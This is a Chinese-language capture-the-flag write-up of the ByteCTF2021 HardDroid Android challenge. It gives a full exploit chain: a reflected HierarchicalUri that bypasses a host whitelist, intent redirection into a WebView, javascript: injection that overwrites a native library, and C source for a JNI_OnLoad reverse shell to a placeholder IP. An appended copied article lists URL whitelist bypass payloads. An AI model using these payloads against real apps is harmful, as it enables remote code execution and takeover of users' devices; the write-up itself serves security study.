ByteCTF2021 HardDroid复现
依旧参考:ByteCTF2021 HardDroid复现 | LLeaves Blog
APK分析
AndroidManifest.xml
注意到这里的TestActivity与之前不同,android:launchMode=”standard,是 Activity 的启动模式,决定了系统在启动这个 Activity 时,如何创建/复用实例。
standard = 每次 startActivity(),都会新建一个 Activity 实例 (默认值)
| launchMode |
行为 |
|
| standard |
每次启动都 new 一个 |
默认,最容易被反复触发 |
| singleTop |
栈顶复用 |
防止重复打开页面 |
| singleTask |
全局唯一一个 |
常用于登录页 |
| singleInstance |
独占一个任务栈 |
很少见,系统级 |

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="30" android:compileSdkVersionCodename="11" package="com.bytectf.harddroid" platformBuildVersionCode="30" platformBuildVersionName="11"> <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="30"/> <uses-permission android:name="android.permission.INTERNET"/> <application android:theme="@style/Theme.Harddroid" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:usesCleartextTraffic="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory"> <activity android:name="com.bytectf.harddroid.MainActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> <activity android:name="com.bytectf.harddroid.TestActivity" android:exported="false" android:launchMode="standard"/> <receiver android:name="com.bytectf.harddroid.FlagReceiver" android:exported="false"> <intent-filter> <action android:name="com.bytectf.SET_FLAG"/> </intent-filter> </receiver> </application> </manifest>
|
FlagReceiver
跟之前一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package com.bytectf.harddroid;
import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; import java.io.File; import java.io.FileWriter; import java.io.IOException;
public class FlagReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String flag = intent.getStringExtra("flag"); if (flag != null) { File file = new File(context.getFilesDir(), "flag"); writeFile(file, flag); Log.e("FlagReceiver", "received flag."); } }
private void writeFile(File file, String s) { FileWriter writer = null; try { try { try { writer = new FileWriter(file, true); writer.write(s); writer.write(10); writer.close(); } catch (IOException e) { e.printStackTrace(); if (writer != null) { writer.close(); } } } catch (IOException e2) { e2.printStackTrace(); } } catch (Throwable th) { if (writer != null) { try { writer.close(); } catch (IOException e3) { e3.printStackTrace(); } } throw th; } } }
|
TestActivity
TestActivity 是非导出的,其中有一个native方法native_write 用于在native层写入文件,还有JavaScript接口方法write_file用于向设备中写入文件。setJavaScriptEnabled也被设置为true状态。
handle方法获取了Intent的data并且进行data.getScheme().equals(“http”) && data.getAuthority().equals(“app.toutiao.com”) 校验,如果通过则加载libUtils.so 并且添加js接口允许js访问write_file 方法 ,否则移除js接口。
onNewIntent 则也要对intent进行handle处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package com.bytectf.harddroid;
import android.app.Activity; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.util.Base64; import android.webkit.JavascriptInterface; import android.webkit.WebView; import java.io.File;
public class TestActivity extends Activity { String soPath; WebView webView;
public static native void native_write(String str, byte[] bArr);
private void handle(Intent intent) { Uri data = intent.getData(); if (data.getScheme().equals("http") && data.getAuthority().equals("app.toutiao.com")) { if (new File(this.soPath).exists()) { System.load(this.soPath); } else { System.loadLibrary("Utils"); } this.webView.addJavascriptInterface(this, "jsi"); } else { this.webView.removeJavascriptInterface("jsi"); } this.webView.loadUrl(data.toString()); }
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); this.soPath = getApplicationContext().getFilesDir() + "/libUtils.so"; WebView webView = new WebView(getApplicationContext()); this.webView = webView; setContentView(webView); this.webView.getSettings().setJavaScriptEnabled(true); handle(getIntent()); }
@Override public void onNewIntent(Intent intent) { super.onNewIntent(intent); handle(intent); }
@JavascriptInterface public void write_file(String file, String content) { native_write(file, Base64.decode(content, 0)); } }
|
MainActivity
MainActivity和EasyDroid中的MainActivity 流程一样,先是获取intent的数据,然后经过校验后使用webView.loadUrl(data.toString())进行加载,而且设置了setJavaScriptEnabled(true) 这意味着启用了JavaScript 。除此之外设置了setWebViewClient ,并且通过shouldOverrideUrlLoading 拦截请求,在内部校验intent 并且可以进行跳转。因此这里存在攻击点,即可以绕过getAuthority校验加载恶意html,在html内部使用JavaScript 构造重定向请求,然后跳转到指定的非导出Activity
但是也有不同的地方,就是校验data的地方data.getHost().endsWith(“.toutiao.com”) && data.getScheme().equals(“http”) 在这个APP中,是对data的host字段尾部进行校验,使其必须为.toutiao.com ,同时校验协议http,虽然在ByteDroid1的复现文章里提到过如何绕过这种检测,但是绕过方法在Android11(API 30)中已经修复(这个补丁在 Oreo - 8.1.0_r33 才加入到原生源码中。所以安全补丁日期早于2018-04-01的系统都受影响),除此之外由于校验http ,所以通过javascript协议绕过的方法JavaScript://www.toutiao.com//%0d%0awindow.location.href='http://evil.com'也不可行,因此需要通过其他方法绕过。
这里在后面会介绍一下javascript协议绕过方法
来自LLeaves
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| package com.bytectf.harddroid;
import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.webkit.WebView; import android.webkit.WebViewClient; import androidx.appcompat.app.AppCompatActivity; import java.net.URISyntaxException;
public class MainActivity extends AppCompatActivity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Uri data = getIntent().getData(); if (data == null) { data = Uri.parse("http://app.toutiao.com/"); } if (data.getHost().endsWith(".toutiao.com") && data.getScheme().equals("http")) { WebView webView = new WebView(getApplicationContext()); webView.setWebViewClient(new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { Uri uri = Uri.parse(url); if (uri.getScheme().equals("intent")) { try { MainActivity.this.startActivity(Intent.parseUri(url, 1)); } catch (URISyntaxException e) { e.printStackTrace(); } return true; } return super.shouldOverrideUrlLoading(view, url); } }); setContentView(webView); webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl(data.toString()); } } }
|
漏洞分析
因为MainActivity存在Intent跳转点,并且没有什么其他可以利用的地方,所以需要先跳转到TestActivity进行攻击,但是需要先对校验进行绕过,否则无法正常加载恶意html,无法进行跳转。
这里需要构造HierarchicalUri 来绕过对host的校验。审android.net.Uri源码,发现除了StringUri,还有一个内部类也 HierarchicalUri 也继承了 AbstractHierarchicalUri,而AbstractHierarchicalUri又是继承自Uri,所以很容易想到,通过反射调用HierarchicalUri这个私有构造函数,传入构造好的 authority 和 path, 创建一个任意可控的Uri实例。具体可以看绕过Android域名白名单校验的方法_url白名单endswith绕过-CSDN博客

我抄下来了,放在结尾,hackone上的已经不公开了
先看完末尾的文章也就是csdn上的更好理解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| String toutiaoUri = "app.toutiao.com"; String attackerUri = "@xxx.xxx.xxx.xxx/harddroid.html"
Class partClass = Class.forName("android.net.Uri$Part"); Constructor partConstructor = partClass.getDeclaredConstructors()[0]; partConstructor.setAccessible(true);
Class pathPartClass = Class.forName("android.net.Uri$PathPart"); Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0]; pathPartConstructor.setAccessible(true);
Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri"); Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0]; hierarchicalUriConstructor.setAccessible(true);
Object authority = partConstructor.newInstance(toutiaoUri, toutiaoUri); Object path = pathPartConstructor.newInstance(attackerUri, attackerUri); Uri uri = (Uri) hierarchicalUriConstructor.newInstance("http", authority, path, null, null);
Log.d(TAG, "Scheme: " + uri.getScheme()); Log.d(TAG, "UserInfo: " + uri.getUserInfo()); Log.d(TAG, "Host: " + uri.getHost()); Log.d(TAG, "Authority: " + uri.getAuthority()); Log.d(TAG, "toString(): " + uri.toString());
|
上述代码在低版本中没问题,但到了安卓11就会报错,原因是从 Android 9(API 级别 28)开始,Android 平台对应用能使用的非 SDK 接口实施了限制。只要应用引用非 SDK 接口或尝试使用反射或 JNI 来获取其句柄,这些限制就适用。这些限制旨在帮助提升用户体验和开发者体验,为用户降低应用发生崩溃的风险,同时为开发者降低紧急发布的风险。如需详细了解有关此限制的决定,请参阅通过减少非 SDK 接口的使用来提高稳定性。可以通过Lsposed的AndroidHiddenApiBypass绕过
当执行:
1 2
| Class.forName("android.net.Uri$HierarchicalUri"); constructor.setAccessible(true);
|
系统会:
- 检查这个类/方法是否属于 非 SDK 接口
- 如果属于:
- 在 Android 9+:
- 直接抛异常(
IllegalAccessException / NoSuchMethodError)
- 或在 Android 11 更严格:直接崩
系统不允许摸这些类了
非 SDK 接口 = Android Framework 内部使用,但不对第三方 App 保证稳定性的接口
括:
android.net.Uri$HierarchicalUri
com.android.internal.*
- 大量隐藏类 / 私有方法
AndroidHiddenApiBypass 是在绕过什么?它绕过的是系统对反射/JNI 访问隐藏 API 的拦截检查
Android 9+ 的隐藏 API 限制,本质是:
- 在 ART(Android Runtime)里
- 对反射/JNI 调用加了一层黑白名单检查
- 非 SDK 接口 → 拦截
AndroidHiddenApiBypass 做的事情是:
利用 已允许的 API
修改 ART 内部的隐藏 API 访问策略
把:
改成:
从此反射调用:
不再被拦截
setAccessible(true) 的作用是:临时关闭 Java 语言层面的“访问权限检查”,让你可以调用 private / protected 的字段、方法、构造函数
1 2
| c.setAccessible(true); c.newInstance();
|
这一步等于对 JVM 说:知道这是 private 的,不要再帮我做访问控制检查了
1️⃣ Java 语言层(setAccessible(true))
- 管的是:
- public / private / protected
- 这是 Java 自己的规则
2️⃣ Android Runtime 层(Hidden API)
- 管的是:你能不能碰 framework 的内部 API
- 这是 Android 额外加的一层规则
如果将构造好的uri先toString,然后再Uri.parse就会输出下面的日志,对比上面的说明HierarchicalUri 构造的uri确实可以绕过
1 2 3 4 5
| // Scheme: http // UserInfo: app.toutiao.com // Host: xxx.xxx.xxx.xxx // Authority: app.toutiao.com@xxx.xxx.xxx.xxx // toString(): http://app.toutiao.com@xxx.xxx.xxx.xxx/harddroid.htm
|
绕过之后可以让TestActivity的WebView加载远程的恶意html,而恶意html要设法利用js接口向被攻击APP数据目录写文件或修改已存在的文件,再进行漏洞利用。
先是通过location.href 使webview添加js接口,要想添加接口必须使用app.toutiao.com作host,为后面调用接口方法做准备。
然后是js接口的利用,如果intent通过onNewIntent这个方法进入,则访问的还是上次onCreate实例化的添加js接口的webview,因此当构造javascript:xxxxx这样的url时候就会形成UXSS问题,因此第二次通过location.href 跳转实际是执行js接口方法,将/data/data/com.bytectf.harddroid/files/libUtils.so 覆盖为恶意二进制so,恶意的so只含JNI_OnLoad ,在下次加载so时反弹shell。
一般来说,当launchMode不是standard的时候,连续两个Intent唤起activity就只存在一个Activity实例,除了第一次启动,后续都走onNewIntent。但是在AndroidManifest.xml文件中,作者显式的将launchMode指定为standard了,很容易错误认为这里是没问题的。
但是在Intent中定义了很多FLAG,其中有几个FLAG也可以设定Activity的启动方式,如果Launch Mode和FLAG设定的Activity的启动方式有冲突,则以FLAG设定的为准。当我们给Intent设置Intent.FLAG_ACTIVITY_SINGLE_TOP后,他的启动模式将无视manifest的定义并变成singleTop。
完成上述工作后就可以再次通过location.href 跳转,加载覆盖后的so,执行JNI_OnLoad 反弹Shell
APP构建
MainActivity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| package com.bytectf.pwnharddroid;
import android.content.Intent; import android.net.Uri; import android.os.Build; import android.os.Bundle; import android.util.Log;
import androidx.activity.EdgeToEdge; import androidx.appcompat.app.AppCompatActivity; import org.lsposed.hiddenapibypass.HiddenApiBypass;
import java.lang.reflect.Constructor;
public class MainActivity extends AppCompatActivity {
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); EdgeToEdge.enable(this); setContentView(R.layout.activity_main); Intent intent = new Intent(); intent.setClassName("com.bytectf.harddroid","com.bytectf.harddroid.MainActivity"); Uri jump_uri = getUri("@xxx.xxx.xxx.xxx/harddroid.html"); intent.setData(jump_uri); Log.d("Test",intent.toUri(Intent.URI_INTENT_SCHEME)); startActivity(intent); }
public Uri getUri(String attackerUri) { String TAG = "attackNewIntent";
String toutiaoUri = "app.toutiao.com";
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) { HiddenApiBypass.addHiddenApiExemptions(""); }
try { Class partClass = Class.forName("android.net.Uri$Part"); Constructor partConstructor = partClass.getDeclaredConstructors()[0]; partConstructor.setAccessible(true);
Class pathPartClass = Class.forName("android.net.Uri$PathPart"); Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0]; pathPartConstructor.setAccessible(true);
Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri"); Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0]; hierarchicalUriConstructor.setAccessible(true);
Object authority = partConstructor.newInstance(toutiaoUri, toutiaoUri); Object path = pathPartConstructor.newInstance(attackerUri, attackerUri); Uri uri = (Uri) hierarchicalUriConstructor.newInstance("http", authority, path, null, null);
Log.d(TAG, "Scheme: " + uri.getScheme()); Log.d(TAG, "UserInfo: " + uri.getUserInfo()); Log.d(TAG, "Host: " + uri.getHost()); Log.d(TAG, "Authority: " + uri.getAuthority()); Log.d(TAG, "toString(): " + uri.toString());
return uri; } catch (Exception e) { throw new RuntimeException(e); }
} }
|
harddroid.html
1 2 3 4 5 6 7 8 9
| <script> location.href="intent://app.toutiao.com/#Intent;package=com.bytectf.harddroid;scheme=http;component=com.bytectf.harddroid/.TestActivity;end" var payload = btoa( `jsi.write_file("/data/data/com.bytectf.harddroid/files/libUtils.so","base64(pwnharddroid.so)")` ) setTimeout(function(){ location.href="intent:eval(atob('"+payload+"'))#Intent;scheme=javascript;launchFlags=0x20000000;component=com.bytectf.harddroid/.TestActivity;end" setTimeout(function(){ location.href="intent://app.toutiao.com/#Intent;package=com.bytectf.harddroid;scheme=http;component=com.bytectf.harddroid/.TestActivity;end" },1000) }, 1000) </script>
|
我们此时可以完整的梳理一下流程
T0:从外部启动 HardDroid 的 MainActivity
MainActivity 的这句加载服务器上的 HTML文件:
1
| webView.loadUrl(data.toString());
|
T1:harddroid.html 在 MainActivity 的 WebView 里执行 JS
harddroid.html 里第一句:
1
| location.href = "intent://app.toutiao.com/#Intent; ... component=.../.TestActivity; end"
|
这一步不是普通网页跳转,而是触发 MainActivity 的:
1
| shouldOverrideUrlLoading(...)
|
因为 url 的 scheme 是 intent,MainActivity 会:
1
| startActivity(Intent.parseUri(url, 1));
|
跳转到TestActivity
T2:TestActivity 被启动后,立刻执行 onCreate → handle(getIntent())
TestActivity 代码:
1 2 3 4
| onCreate(...) { ... handle(getIntent()); }
|
这里的 getIntent() 就是刚才从 MainActivity startActivity 出来的那个 Intent,也就那条 intent://… component=TestActivity … scheme=http
满足 if:
1
| scheme == http && authority == app.toutiao.com
|
因此:
addJavascriptInterface(this, "jsi") ✅
loadUrl("http://app.toutiao.com/...")(这次加载什么页面不重要,关键是接口已经加上了)
T3:1 秒后,harddroid.html 再触发第二个 Intent(javascript:)
harddroid.html 第二跳通常是:
1
| location.href = "intent:eval(atob(payload))#Intent;scheme=javascript;launchFlags=0x20000000;component=.../.TestActivity;end"
|
这又被 MainActivity 的 WebView 拦截,startActivity 一个 Intent。
这一次因为设置了 FLAG_ACTIVITY_SINGLE_TOP(0x20000000):
- TestActivity 不会重新 onCreate
- 而是走:
1
| onNewIntent(intent2) -> handle(intent2)
|
intent2.data 是:javascript:eval(...)
于是走 else:
1
| removeJavascriptInterface("jsi");
|
但紧接着仍然执行:
1
| webView.loadUrl("javascript:eval(...)");
|
在同一个旧 WebView 上下文里执行 JS,**调用 jsi.write_file(…)**,把 libUtils.so 覆盖为 evil.so
这里一定需要设置FLAG_ACTIVITY_SINGLE_TOP,否则重来一次会没有jsi
T4:再过 1 秒,第三跳回到http://app.toutiao.com触发加载 so
第三跳再打开一次:
1
| intent://app.toutiao.com/#Intent;scheme=http;component=.../.TestActivity;end
|
又走 onNewIntent → handle(intent3),满足 if:
- 发现
/data/data/.../files/libUtils.so 存在
System.load(this.soPath);
- 触发 evil.so 的
JNI_OnLoad
SO源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| #include "jni.h" #include <stdlib.h> #include <android/log.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <sys/socket.h> #include <sys/prctl.h> #include <errno.h> #include <netinet/in.h> #include <arpa/inet.h> #include <sys/types.h>
#define TAG "hackso" #define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG,TAG ,__VA_ARGS__)
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) { LOGD("JNI_OnLoading...");
if (fork() == 0) { int rsSocket; struct sockaddr_in socketAddr;
socketAddr.sin_family = AF_INET; socketAddr.sin_addr.s_addr = inet_addr("xxx.xxx.xxx.xxx"); socketAddr.sin_port = htons(xxx);
rsSocket = socket(AF_INET, SOCK_STREAM, 0); connect(rsSocket, (struct sockaddr *) &socketAddr, sizeof(socketAddr));
dup2(rsSocket, 0); dup2(rsSocket, 1); dup2(rsSocket, 2);
execve("/system/bin/sh", NULL, NULL);
LOGD("shelling..."); }
return JNI_VERSION_1_6; }
|
注意的是原来LLeaves博客上的harddroid.html的那份写so部分不太方便
其实可以改成从服务器直接路径里读也行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <script> const BASE = "http://1xxxx"; const TARGET = "/data/data/com.bytectf.harddroid/files/libUtils.so";
function jump(u){ location.href = u; }
async function run() { jump("intent://app.toutiao.com/#Intent;package=com.bytectf.harddroid;scheme=http;component=com.bytectf.harddroid/.TestActivity;end");
setTimeout(async () => { const b64 = await fetch(BASE + "/libpwnharddroid.b64").then(r => r.text());
const js = `jsi.write_file("${TARGET}","${b64}")`; const payload = btoa(js); jump(`intent:eval(atob('${payload}'))#Intent;scheme=javascript;launchFlags=0x20000000;component=com.bytectf.harddroid/.TestActivity;end`); setTimeout(() => { jump("intent://app.toutiao.com/#Intent;package=com.bytectf.harddroid;scheme=http;component=com.bytectf.harddroid/.TestActivity;end"); }, 1000);
}, 1000); }
run(); </script>
|
成功


绕过Android域名白名单校验的方法
copy from 绕过Android域名白名单校验的方法_url白名单endswith绕过-CSDN博客
一、 Url加入反斜杠"\"
mediumdroid的一种解法
1 2 3 4 5 6 7 8 9
|
[check_v1] Uri uri = Uri.parse(attackerControlledString); if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) { webView.loadUrl(attackerControlledString, getAuthorizationHeaders()); }
|
但
1 2 3 4 5
| String url = "http://attacker.com\\.legitimate.com/smth"; Log.d("getHost:", Uri.parse(url).getHost()); if (Uri.parse(url).getHost().endsWith(".legitimate.com")) { webView.loadUrl(url, getAuthorizationHeaders()); }
|
可以看到 getHost() 和 loadUrl() 的表现不一致,if检验跳转目标是.legitimate.com,但执行时浏览器会把反斜线纠正为正斜线去访问attacker.com。那么如果是用 equals() 来做完整的 host 检验该怎么办呢?只需加一个‘@’就能隔断非法前缀。
1 2 3
| String url = "http://attacker.com\\@legitimate.com/smth"; Log.d("Wow", Uri.parse(url).getHost()); webView.loadUrl(url, getAuthorizationHeaders());
|
看来android.net.Uri的 parse() 是有安全缺陷的,我们扒拉一下代码定位问题…
1 2 3 4
| [frameworks/base/core/java/android/net/Uri.java] public static Uri parse(String uriString) { return new StringUri(uriString); }
|
继续看这个内部类StringUri
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| [frameworks/base/core/java/android/net/Uri.java] private static class StringUri extends AbstractHierarchicalUri { ... private StringUri(String uriString) { this.uriString = uriString; } ... private Part getAuthorityPart() { if (authority == null) { String encodedAuthority = parseAuthority(this.uriString, findSchemeSeparator()); return authority = Part.fromEncoded(encodedAuthority); } return authority; } ... static String parseAuthority(String uriString, int ssi) { int length = uriString.length(); if (length > ssi + 2 && uriString.charAt(ssi + 1) == '/' && uriString.charAt(ssi + 2) == '/') { int end = ssi + 3; LOOP: while (end < length) { switch (uriString.charAt(end)) { case '/': case '?': case '#': break LOOP; } end++; } return uriString.substring(ssi + 3, end); } else { return null; } } }
|
这里就明显看到StringUri没有对authority部分做反斜杠的识别处理, 接着找StringUri的父类AbstractHierarchicalUri:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| [frameworks/base/core/java/android/net/Uri.java] private abstract static class AbstractHierarchicalUri extends Uri { private String parseUserInfo() { String authority = getEncodedAuthority(); int end = authority.indexOf('@'); return end == NOT_FOUND ? null : authority.substring(0, end); } ... private String parseHost() { String authority = getEncodedAuthority(); int userInfoSeparator = authority.indexOf('@'); int portSeparator = authority.indexOf(':', userInfoSeparator); String encodedHost = portSeparator == NOT_FOUND ? authority.substring(userInfoSeparator + 1) : authority.substring(userInfoSeparator + 1, portSeparator); return decode(encodedHost); } }
|
就在这里把@符号之前内容的作为 UserInfo 给切断了,host 内容从@符号之后算起。(这里其实存在另一个 bug,没有考虑多个@的情况)
Google 在 2018年4月的 Android 安全公告里发布了这个漏洞CVE-2017-13274的补丁
通过AndroidXRef查询,这个补丁在 Oreo - 8.1.0_r33 才加入到原生源码中。所以安全补丁日期早于2018-04-01的系统都受影响,而 Google 一般通过协议要求 OEM厂商保证产品上市之后两年内按期打安全补丁。那么经过推算得出 Android 6及以下的系统都受影响。
PS:url含多个@的情况也在2018年1月的补丁中进行了修复CVE-2017-13176
userinfo 是 URL 里用于“身份认证信息”的一部分,格式是:
1
| scheme://userinfo@host:port/path
|
也就是说:
1
| http://username:password@www.example.com/
|
username:password → userinfo
@ 后面才是真正的 host
userinfo 在现代浏览器中几乎被废弃/忽略,但在 URI 解析标准里仍然是合法结构。
二、反射调用HierarchicalUri构造Uri
上一节提到了@的截取的特性,会把恶意地址前缀attacker.com存入 UserInfo,那么现在改进校验方法, 加上 UserInfo 的检查是不是就万无一失了呢?
1 2 3 4 5 6
| [check_v2] Uri uri = getIntent().getData(); boolean isOurDomain = "https".equals(uri.getScheme()) && uri.getUserInfo() == null && "legitimate.com".equals(uri.getHost()); if (isOurDomain) { webView.load(uri.toString(), getAuthorizationHeaders()); }
|
还是看android.net.Uri源码,发现除了StringUri,还有一个内部类HierarchicalUri 也继承了 AbstractHierarchicalUri
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| [frameworks/base/core/java/android/net/Uri.java] private static class HierarchicalUri extends AbstractHierarchicalUri { private final String scheme; private final Part authority; private final PathPart path; private final Part query; private final Part fragment; private HierarchicalUri(String scheme, Part authority, PathPart path, Part query, Part fragment) { this.scheme = scheme; this.authority = Part.nonNull(authority); this.path = path == null ? PathPart.NULL : path; this.query = Part.nonNull(query); this.fragment = Part.nonNull(fragment); } ... }
|
而AbstractHierarchicalUri又是继承自Uri,所以很容易想到,通过反射调用HierarchicalUri这个私有构造函数,传入构造好的 authority 和 path, 创建一个任意可控的Uri实例。继续查看Part和PathPart类的构造方法:
1 2 3 4 5 6 7 8 9 10
| static class Part extends AbstractPart { private Part(String encoded, String decoded) { super(encoded, decoded); } } static class PathPart extends AbstractPart { private PathPart(String encoded, String decoded) { super(encoded, decoded); } }
|
Part 本质是一个小容器,里面同时存两份东西:
encoded(编码形式)
decoded(解码形式)
由此构造 PoC 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| public void PoC() { private static final String TAG = "PoC"; String attackerUri = "@attacker.com"; String legitimateUri = "legitimate.com";
try { Class partClass = Class.forName("android.net.Uri$Part"); Constructor partConstructor = partClass.getDeclaredConstructors()[0]; partConstructor.setAccessible(true);
Class pathPartClass = Class.forName("android.net.Uri$PathPart"); Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0]; pathPartConstructor.setAccessible(true);
Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri"); Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0]; hierarchicalUriConstructor.setAccessible(true);
Object authority = partConstructor.newInstance(legitimateUri, legitimateUri); Object path = pathPartConstructor.newInstance(attackerUri, attackerUri); Uri uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
Log.d(TAG, "Scheme: " + uri.getScheme()); Log.d(TAG, "UserInfo: " + uri.getUserInfo()); Log.d(TAG, "Host: " + uri.getHost()); Log.d(TAG, "toString(): " + uri.toString());
} catch (Exception e) { throw new RuntimeException(e); } Intent intent = new Intent("android.intent.action.VIEW"); intent.setClassName(Victim_packageName, Victim_className); intent.setData(uri); intent.addFlags(268435456); startActivity(intent); }
|
logcat 输出:
1 2 3 4
| 07-07 19:00:36.765 9209 9209 D PoC : Scheme: https 07-07 19:00:36.765 9209 9209 D PoC : UserInfo: null 07-07 19:00:36.765 9209 9209 D PoC : Host: legitimate.com 07-07 19:00:36.765 9209 9209 D PoC : toString(): https://legitimate.com@attacker.com
|
从输出日志可以看到,通过此反射方法构造的 Uri 对象,可以通过 check_v2 方法对 Scheme、 UserInfo 和 Host 的三项检验,但 toString() 方法的值https://legitimate.com@attacker.com,才是被攻击的 Activity 拉起的实际地址。如前所述,@符号之后的 attacker.com 便成为了最终访问的 host。
PoC 关键两行:
1 2 3
| Object authority = partConstructor.newInstance(legitimateUri, legitimateUri); Object path = pathPartConstructor.newInstance(attackerUri, attackerUri); Uri uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
|
意思是:
- authority 字段(也就是
// 后面那块)设为 "legitimate.com"
- path 字段(也就是
/path 那块)设为 "@attacker.com" —— 注意它没写 /@attacker.com,而是直接 @attacker.com
然后 HierarchicalUri.toString() 拼 URL 时会做:
1
| scheme + "://" + authority + path
|
于是得到:
1
| "https://legitimate.com" + "@attacker.com" = "https://legitimate.com@attacker.com"
|
抵御这种攻击的方法也非常简单,对传入的 Uri 对象加一次 parse() 再做 check_v2 即可:
1 2 3 4
| Uri raw = getIntent().getData(); Uri uri = Uri.parse(raw.toString()); uri.getUserInfo() -> "legitimate.com" uri.getHost() -> "attacker.com"
|
三、远程利用方法
我们知道,通过在组件中注册 intent-filter,App 可以响应浏览器应用或短信应用访问的外链。典型的一个配置写法如下,只有 <data> 标签中指定的内容和 Intent 中携带的 Data 完全一致时,当前活动才能响应该 Intent。
1 2 3 4 5 6 7 8
| <activity android:name=".DeeplinkActivity"> <intent-filter android:autoVerify="true"> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="https" android:host="legitimate.com"/> </intent-filter> </activity>
|
前面两种方法我们都是用安装恶意 App 或 ADB 命令来触发攻击,注意到 Android 对 <data> 定义的属性,也是通过 parsedIntent.getData().getHost() 来进行匹配的,我们很自然的想到尝试远程利用。
1 2 3 4 5
| <!-- <a href="[scheme]://[host]/[path]?[query]">调用格式</a> --> <a href="https://attacker.com\\@legitimate.com/">Click Attack v1</a> <a href="https://attacker.com%5C%5C@legitimate.com/">Click Attack v2</a>
|
然而,对于第一个链接,浏览器会自动把反斜杠 “" 纠正为正斜杠 “/“
对于第二个链接,反斜杠 “" 会以 URL 编码形式保留而无法触发方法1
1
| host = attacker.com%5C%5C@legitimate.com
|
通过仔细研究intent://scheme的工作机制,发现可以通过如下方式保留反斜杠 "\" 的方法:
PoC:
1
| <a href="intent://not_used/#Intent;scheme=https://attacker.com\\@legitimate.com/;end">Click Attack v3</a>
|
跟踪源码,可以看到,访问这个链接,等价于执行:
1
| Uri.parse("https://attacker.com\\\\@legitimate.com/://not_used/")
|
从而实现方法1的远程执行版本。
四、缺少scheme验证
实战不乏有些 App 对 host 做了校验,但却遗漏了对 scheme 的检查。
可以用下面的 uri, 尝试进行 js 和 file 域的 PoC:
javascript://legitimate.com/%0aalert(1)//
App 的校验视角
uri.getHost() -> “legitimate.com”
通过校验。
WebView 的执行视角,javascript:// 是 WebView 支持的 scheme,语义是把后面的内容当作 JS 代码执行而 %0a 是 URL 编码的 换行符(\n)所以 WebView 实际执行的是:
alert(1)